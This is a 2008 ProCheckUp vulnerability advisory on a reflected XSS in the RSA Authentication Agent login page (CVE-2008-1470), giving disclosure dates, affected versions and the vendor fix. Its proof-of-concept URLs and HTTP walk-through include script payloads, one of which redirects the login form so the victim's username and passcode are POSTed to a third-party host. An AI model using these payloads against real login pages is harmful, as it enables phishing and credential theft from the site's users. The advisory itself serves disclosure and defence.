Vulnerabilities 2008

PR07-44 XSS on RSA Authentication Agent login page

• Advisory publicly released: Wednesday, 23 April 2008
• Vulnerability found: Wednesday, 5 December 2007
• Vendor informed: Thursday, 13 December 2007
• Severity level: Medium/High

• Credits
  Found by Jan Fry and Adrian Pastor - ProCheckUp Ltd (www.procheckup.com). ProCheckUp thanks RSA for being so cooperative and responding so fast.
• Description
  RSA Authentication Agent is vulnerable to a vanilla XSS on the login page.
  
  Vulnerable server-side program: '/WebID/IISWebAgentIF.dll'
  
  Unfiltered parameter: 'postdata'
• Proof of concept
  Simple XSS Proof of Concept (PoC) URLs:
  
  https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Ca%20b=%22&authntype=2&username=test&passcode=test
  
  https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Ca%20b=%22
  
  The injected payload in the previous examples is: "><script>alert("XSS")</script><a b="
  
  The following specially-crafted URL performs an advanced XSS phishing attack. After the victim enters his/her username and passcode, the credentials are forwarded to a third-party site (procheckup.com in this case) and logged by the attacker:
  
  https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Edocument.forms[0].action=%22http://procheckup.com?%22%3C/script%3E%3Ca%20b=%22&authntype=2&username=anyvaluehere&passcode=anyvaluehere
  
  https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Edocument.forms[0].action=%22http://procheckup.com?%22%3C/script%3E%3Ca%20b=%22
  
  The injected payload in the previous examples is:
  "><script>document.forms[0].action="http://procheckup.com?"</script><a b="
• How to fix
  The vendor has stated that this issue was addressed in the RSA Authentication Agent 5.3.3.378. RSA customers can download the upgrade from the RSA web site.
• Consequences
  An attacker may be able to cause execution of malicious scripting code in the browser of a victim user who clicks on a link to a RSA Authentication Agent login page. Such code would run within the context of the target domain.
  
  This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs or passwords) to unauthorised third parties.
• Notes
  It is believed that this vulnerability was originally reported in 2005 (BID 13168). However, In the original report, only version 5.2 of the Authentication Agent was mentioned to be vulnerable. Additionally, nothing was said regarding the possibility of exploiting this XSS as a GET request (as opposed to POST). Therefore, the vulnerability can be exploited via a malicious URL, since visiting a URL results in the web browser submitting a GET request. Since the XSS condition occurs on the login page, the bug is highly suitable for advanced XSS phishing attacks as illustrated in the proof of concept below. Please note that this is issue is different from CAN-2003-0389 and CVE-2005-3329.
• CVE reference
  CVE-2008-1470
• BID
  28277
• Successfully tested on
  RSA Authentication Agent 5.3.0.258 for Web for Internet Information Services
• COMPLETE ATTACK WALK-THROUGH FOR XSS PHISHING ATTACK:
  Step 1: Victim is tricked to click on the specially-crafted URL:
  
  HTTP Request:
  
  GET /WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=
  %22%3E%3Cscript%3Edocument.forms[0].action=%22http: //procheckup.com?%22%3C/script%3E%3Ca%20b=%22 HTTP/1.1
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
  Accept-Language: en-gb
  UA-CPU: x86
  Accept-Encoding: gzip, deflate
  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322)
  Host: target-domain.foo
  Connection: Keep-Alive
  
  Step 2: Victim fills in 'User ID' and 'Passcode' fields and clicks on "Log In":
  
  HTTP request - notice the victim's username and passcode are submitted to a third-party site (procheckup.com in this case):
  
  POST http: //procheckup.com/? HTTP/1.1
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
  Accept-Language: en-gb
  Content-Type: application/x-www-form-urlencoded
  UA-CPU: x86
  Accept-Encoding: gzip, deflate
  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322)
  Host: procheckup.com
  Content-Length: 116
  Proxy-Connection: Keep-Alive
  Pragma: no-cache
  Cookie: __utma=105825218.1973702853.1197971766.1197981134.1197988777.4; __utmz=105825218.1197971766.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=105825218
  
  stage=useridandpasscode&referrer=%2F&sessionid=0&postdata=&authntype=2&username=MYUSERNAME&passcode=MYSECRETPASSWORD
• References
  

  
  http://www.procheckup.com/research/views/vulnerabilities

  
  http://www.rsa.com/node.aspx?id=2807

  
  
• Legal
  Copyright 2008 Procheckup Ltd. All rights reserved.
  
  Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.